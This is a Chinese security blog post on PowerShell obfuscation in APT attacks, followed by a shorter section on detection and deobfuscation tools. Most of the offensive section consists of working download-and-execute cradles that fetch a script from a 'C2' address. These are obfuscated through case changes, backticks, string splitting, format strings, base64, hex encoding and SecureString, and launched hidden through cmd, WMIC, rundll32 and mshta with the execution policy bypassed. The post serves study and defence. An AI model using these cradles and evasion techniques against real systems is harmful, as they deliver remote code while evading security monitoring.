APT的思考: PowerShell命令混淆高级对抗
2020-6-4 06:49:42 Author: mp.weixin.qq.com(查看原文) 阅读量:6 收藏

 阅读本文大概需要 10 分钟。 

   2020年 第  16  篇文章 ,flag 继续 

每周至少更一篇

前言

良好的习惯是人生产生复利的有力助手

本周发布的文章有点晚了,今天又熬夜了,没办法,技术文章不能水,必须要保证质量,价值输出是本公众号存在的前提。

最近有朋友加我好友后,问我之前写的icmp远控代码能不能分享一下,今天兑现承诺,关注公众号回复【15】,即可获取源码。

上一篇讲解了APT攻击中用到的cmd命令混淆,本篇延续上一篇的内容,分析一下攻击中更加常用的powershell混淆和检测方法。

powershell的功能强大且调用方式十分灵活,目前大多数攻击者已经将PowerShell 应用在各种攻击场景中,如内网渗透,APT攻击甚至勒索软件中,在和各种组件,例如cmd,rundll32, 配合使用后,对抗能力更加强大。

下面是我的微信号,想进行技术交流的可以加我,备注公众号,卖货的,伸手党不要加我,谢谢。

一.PowerShell混淆姿势

上一篇讲解的CMD的混淆姿势,相对Powershell少的太多,完全不在一个量级上,因此建立整个powershell的混淆体系,花费了不少时间,还好努力没有白费,让我对powershell混淆姿势有了整体的认知。

powershell混淆主要是针对以下三个方面的内容,分别为:

  1. 命令本身

  2. 函数与对象

  3. 参数

而powershell的混淆姿势,根据自己现有的知识储备,大致分为了8大类:

  1. 大小写与特殊符号

  2. 字符串变换

  3. 简写与invoke

  4. 变量变换

  5. 脚本块

  6. 编码

  7. 压缩

  8. 启动方式

每一大类又分成了很多子项。为了方便大家学习和思考,我将powershell混淆姿势和防御手段总结成了如下所示的一张思维导图,有的添加了例子,有的没有添加,图太长不容易看。

为了让大家能更清晰地学习Powershell混淆,我以下面powershell远程代码执行的例子作为原型进行混淆:


  1. Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")

其中“ http://127.0.0.1:8899/qiye.txt”为C2地址,使用Python -m SimpleHTTPServer 8899简易搭建: 

qiye.txt的内容为:

  1. Write-Host "qiye successfully  executed!!!`n`n" -NoNewLine -ForegroundColor Green

在powershell解释器中的运行效果如下: 

以下我讲解的每种手法,代码都是多样的,我只是挑选其中一种实现功能的方式,大家不要被局限了,讲的是方法不是代码哈。

1. 大小写与特殊符号

1.1 任意大小写

这个没有什么好解释的,powershell大小写不敏感

  1. INVOKE-Expression (New-Object SYStem.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt"))

1.2 反引号

反引号在powershell中是转义符,转义符号加在大部分字符前不影响字符的意思,从而实现混淆,不过有些例外:

  1. 0 Null

  2. `a 警报

  3. `b 退格

  4. `f 换页

  5. `n 换行

  6. `r 回车

  7. `t 水平制表

  8. `v 垂直制表

所以大家在使用反引号进行混淆的时候,不要把反引号加在上述的字母前面,不然会导致脚本无法运行。

  1. Inv`o`ke-Ex`pr`e`s`sion (`New-Object `System.`Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")

1.3 括号与引号

我们可以通过添加括号或引号,将脚本中的对象和函数,转化为字符串执行,其中括号代替空格。

  1. Invoke-Expression  (New-Object System.Net.WebClient).'DownloadString'("http://127.0.0.1:8899/qiye.txt")

或者

  1. Invoke-Expression (New-Object("System.Net.WebClient")).DownloadString("http://127.0.0.1:8899/qiye.txt")

1.4 空白

在脚本中添加多余的空格是无关紧要的,不会影响脚本的运行,当然也不要乱填,不要影响正常的语法结构:

  1. Invoke-Expression      (New-Object("System.Net.WebClient")).DownloadString(                      "http://127.0.0.1:8899/qiye.txt")

1.5 & ,. , {}

还有& ,. , {} 这三种符号,放到脚本块中说明。

2.字符串变换

2.1 拼接

使用引号进行分段拼接。

  1. Invoke-Expression (New-Object System.Net.WebClient).DownloadString(('ht'+'tp:'+'//127.0'+'.0.1:88'+'9'+'9/'+'qiy'+'e.t'+'xt'))

2.2 反转

字符串反转:

$reverseCmd[-1..-($reverseCmd.Length)]

  1. $reverseCmd = ")'txt.eyiq/9988:1.0.0.721//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN.metsyS tcejbO-weN( noisserpxE-ekovnI";Invoke-Expression ($reverseCmd[-1..-($reverseCmd.Length)] -Join '')

2.3 分割/替换

字符串中的Split , Join,Replace。

  1. $cmdWithDelim= "Invoke-Ex___pression (New-Object Syst___em.Net.WebClient).Download___String('http://127.0.0.1:8899/qiye.txt')";Invoke-Expression ($cmdWithDelim.Split("___") -Join '')

或者

  1. $cmdWithDelim= "Invoke-Ex___pression (New-Object Syst___em.Net.WebClient).Download___String('http://127.0.0.1:8899/qiye.txt')";Invoke-Expression $cmdWithDelim.Replace("___","")

2.4 格式化

格式化指的是字符串占位符的使用,如果你用过Python,这很常见,可以任意打断字符串顺序。


  1. Invoke-Expression (New-Object System.Net.WebClient).DownloadString(("{0}{4}{1}{6}{3}{7}{2}{8}{5}"-f 'http:','1','.1:8899','7.','//','iye.txt','2','0.0','/q'))

3. 简写与invoke

3.1 别名

在powershell解释器中输入alias,看到所有的对象和函数的简写方式,也就是别名。常见的Invoke-Expression 可以使用 IEX来代替。 

3.2 省略

Net.WebClient=System.Net.WebClient

  1. IEX (New-Object Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")

3.3 通配符*

New-Object 可以通过通配符*写成如下的多种形式:

  • &(Get-Command New-Obje*)

  • &(Get-Command *w-O*)

  • &(GCM *w-O*)

  • &(COMMAND *w-*ct)

  1. Invoke-Expression (&(Get-Command New-Obje*)"Net.WebClient")."DownloadString"("http://127.0.0.1:8899/qiye.txt")

3.4 Invoke

Invoke本来不应该放到这的,但是发现也没有什么好位置,就随意一下,放这吧。Invoke可以帮助我们打断关键函数之间的关系。

  1. IEX (New-Object Net.WebClient).("DownloadString").Invoke("http://127.0.0.1:8899/qiye.txt")

4. 变量变换

4.1 拼接与替换

将关键字拆分成多个变量,然后替换拼接。

  1. $v1="System.Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2).DownloadString("http://127.0.0.1:8899/qiye.txt")

4.2 动态变量生成

以构建DownloadString 为例,通过遍历函数并模糊匹配的方式找到DownloadString ,用到了PsObject.Methods 和Where-Object。

  1. IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*own*d*ing'}).Name).Invoke("http://127.0.0.1:8899/qiye.txt")

4.3 变量传递

变量传递常用的有四种方式:

  1. 环境变量

  2. 管道

  3. 粘贴板

  4. 还有隐蔽的进程参数

我主要说一下第4种,比较有创意,其他3种大家看思维导图即可。

第4种的想法是 启动多个进程,例如cmd.exe,将要执行的命令内容放到进程参数中,要执行代码的时候,直接过滤出所需进程,并通过进程参数拼接出真正的执行内容,

5. 脚本块

5.1 NewScriptBlock

通过 $ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx")的方式创建脚本块。

  1. .($ExecutionContext.InvokeCommand.NewScriptBlock('IEX (New-Object Net.WebClient).("DownloadString").Invoke("http://127.0.0.1:8899/qiye.txt")'))

5.2 [Scriptblock]

[Scriptblock]相当于 [Type]("Scriptblock")

  1. Invoke-Expression (New-Object ([type]("Net.WebClient"))).DownloadString("http://127.0.0.1:8899/qiye.txt")

5.3 其他方式

  • invoke-command{xxxx}

  1. invoke-command{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}

  • ICM{xxxx}

  1. ICM{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}

  • {xxxx}.invoke()

  1. {Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}.invoke()

  • &{xxxx}

  1. &{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}

  • .{xxxx}

  1. .{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}

6. 编码

6.1 base64

在powershell命令行中,使用-EncodedCommand,而在脚本中使用FromBase64String

  1. IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAKABbAHQAeQBwAGUAXQAoACIATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAiACkAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOAA4ADkAOQAvAHEAaQB5AGUALgB0AHgAdAAiACkA')))

6.2 ASCII

使用[char]xx 代替字符 如:[char]59–>;

  1. $cmd= "echo qiye___"; echo $cmd.Replace("___",[string]([char]59)) | IEX

6.3 进制+BXOR

进制
  1. [Convert]::ToString(100, $digit)

$digit可以为2,8,16 ,从而实现十进制向其他进制的转换。还有通过占位符的方式:

  1. "{0:X4}" -f 100

混淆后,瞬间头大:

  1. ('49}6eO76}6fq6bV65r2d!45r78q70}72W65%73W73!69}6f!6eW20r28%4eV65W77q2dq4f!62%6aW65r63O74%20}4eV65V74V2eq57W65V62%43V6cq69q65q6er74O29!2eq44}6f%77q6eO6cO6f!61%64q53r74O72}69!6eV67O28W22}68V74q74%70V3aW2fq2f}31W32}37O2e}30q2eq30}2er31q3a!38r38q39V39%2fW71}69W79r65}2eq74r78W74%22O29'-sPlIT 'W' -sPlit'V'-SpliT 'q' -SpliT 'r' -SPlIt'}'-SplIt'%'-sPLIT'O' -splIt '!'| fOREach { ([CONvERT]::tOInT16(( $_.tOsTrinG()) ,16)-as[CHAR]) })-JOIn ''|&( $sheLLID[1]+$ShELliD[13]+'X')

BXOR

$bytes[$i] = $bytes[$i] -BXOR 0xAA

6.4 SecureString

SecureString其实是一种加解密的方式,通过密钥,对脚本进行加解密 ,实现脚本的混淆。

  1. $cmd= "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://127.0.0.1:8899/qiye.txt')"

  2. $secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force

  3. $secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)

  4. $secCmd= $secCmdPlaintext| ConvertTo-SecureString -Key (1..16);

  5. ([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secCmd))) | IEX

7.压缩

通过DeComPress对压缩后的脚本解压执行。

8.启动方式

通过第三方组件进行启动,进一步隐藏真实内容:CMD:

  1. C:\WiNDOws\SYStem32\CmD  /C   POWerSHElL  -wInDoWsTyle  HidDen -eXecutIoNp ByPaSs   "Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\"http://127.0.0.1:8899/qiye.txt\")"

WMIC:

  1. C:\WINdOws\sySTeM32\wBEM\WmIC 'PRoCESS'   'Call'   'cREatE' "POwERshElL -ExECuti ByPASs  -wi hiDDEN   Invoke-Expression (New-Object System.Net.WebClient).DownloadString("\"http://127.0.0.1:8899/qiye.txt"\")"

rundll32:

  1. rUNdLL32 SHELL32.DLL ShellExec_RunDLL  "PowerSHELL"   "  -wIN  HIDdeN "   "  -ExeCUTion  BYPaSS"    "Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\"http://127.0.0.1:8899/qiye.txt\")"

Mshta++:

  1. c:\WindoWS\sysTeM32\cmd   /c"sEt   uJB=Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")&&C:\WIndOWS\SYSTEM32\MSHta VBScRiPt:CREAteOBJEcT("WScr"+"i"+"Pt."+"SH"+"ell").Run("pOwerSHELL -wIndoW H -eXEcuti  bypaSS    ${eXEcuTioNconText}.'iNvokEcomMaNd'.(  '{1}{0}{2}' -f 'escR','inVoK','IPt' ).Invoke(   (  ^&  (  '{2}{0}{1}'-f 't','-item','GE') ( '{1}{0}{2}' -f':','eNV','UJB' )).'vAlue'  )",8-1-6,TRUe)(WiNDOW.CLosE)"

混淆神器

和上一篇cmd混淆一样,基于上述的原理,安全大牛创造了 专门的PowerShell混淆工具,高深的命令混淆批量生产,卖成了白菜价。项目地址:

https://github.com/danielbohannon/Invoke-Obfuscation

拥有多种混淆方式,基本上涵盖了上述的混淆方法,同时还有没提到的基于语法树AST的混淆方式,改变代码逻辑。

支持TOKEN,AST语法树,字符串,编码,压缩,启动方式等功能,有良好的教程指导,还是非常好上手的。

二.防御手段

防御手段主要分为两个层次,第一种比较浅的层次是对混淆进行检测,仅仅是判断是否混淆,另一种是比较深的层次是对混淆进行还原,可以判断出脚本本身是否恶意。

混淆检测

1.静态规则检测

根据上述混淆的方式,提取关键特征分支进行系统化分析,已知做的比较好的是如下的开源项目,是组内大佬设计的。

https://github.com/We5ter/Flerken

这是一种跨平台的解决方案, 能检测CMD,shell,powershell等多场景的命令混淆方式。静态检测的方式,对于动态生成+微混淆 的命令检测能力较弱。

2.基于语法树检测

从原理上来说,基于语法树检测,更胜一筹,但是到底做的好不好,还是要大规模样本检验。

https://github.com/danielbohannon/Revoke-Obfuscation

试用一下,对通过格式化混淆的手法进行检测:

  1. .("{4}{1}{0}{2}{3}" -f 'Express','-','io','n','Invoke') (&("{2}{0}{3}{1}"-f 'e','-Object','N','w') System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")

3.机器学习

自从机器学习火了之后,各种问题都开始尝试使用机器学习来做了。机器学习可以覆盖大多数的样本是没有问题的,但是很难经得起对抗。之前做过webshell的AI模型,webshell的AI模型顾全局而失细节,正常文件+微混淆,基本上都可以绕过。推荐两篇文章:

https://bbs.pediy.com/thread-248034.htm

https://www.4hou.com/posts/G8pJ

混淆还原

混淆还原除了微软推出的AMSI,我最喜欢的就是Unit42安全团队在Github上公开的自己研发的powershell自动反混淆工具,真的很强大。

https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler

还是以下面这段脚本为例:

  1. .("{4}{1}{0}{2}{3}" -f 'Express','-','io','n','Invoke') (&("{2}{0}{3}{1}"-f 'e','-Object','N','w') System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")

powershellprofiler工具,不仅将脚本还原,而且还分析出脚本的行为,并打分,用起来真的舒服。

篇幅有限,下次有时间可以给大家分析一下这个脚本,还有AMSI的对抗方式

参考文献

https://www.secpulse.com/archives/117576.html https://www.freebuf.com/sectool/136328.html https://bbs.pediy.com/thread-248034.htm https://www.4hou.com/posts/G8pJ https://www.chainnews.com/articles/075661407787.htm https://www.anquanke.com/post/id/86637 https://www.bookstack.cn/read/Powershell-Attack-Guide/ch10.md

最后

原创不易,希望大家能积极分享点在看

推荐阅读

HW : Cobalt Strike 应该这样学

WebShell通用免杀的思考

WebShell "干掉" RASP

无文件执行:一切皆是shellcode (中)

无文件执行:一切皆是shellcode (上)

linux无文件执行— fexecve 揭秘

沙盒syscall监控组件:strace and wtrace

无"命令"反弹shell-逃逸基于execve的命令监控(上)

APT组织武器:MuddyC3泄露代码分析

Python RASP 工程化:一次入侵的思考

教你学木马攻防 | 隧道木马 | 第一课

如果大家喜欢这篇文章的话,请不要吝啬分享到朋友圈,并置顶公众号。

关注公众号:七夜安全博客

回复【11】:领取Sandboxie源码

  • 回复【1】:领取 Python数据分析 教程大礼包

  • 回复【2】:领取 Python Flask 全套教程

  • 回复【3】:领取 某学院 机器学习 教程

  • 回复【4】:领取 爬虫 教程

  • 回复【5】:领取编译原理 教程

  • 回复【6】:领取渗透测试教程

  • 回复【7】:领取人工智能数学基础

  • 回复【8】:领取 python神经网络 教程 

  • 回复【9】:领取 安卓逆向 教程  

好文和朋友一起看~

文章来源: https://mp.weixin.qq.com/s?__biz=MzIwODIxMjc4MQ==&mid=2651004599&idx=1&sn=fce641cae5049ad5d26c04c6cecb569f&chksm=8cf138f5bb86b1e3f8b6460ec4c4ea3e29ec7cf083dd851fc911dca813c031583b61d20a9c01&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh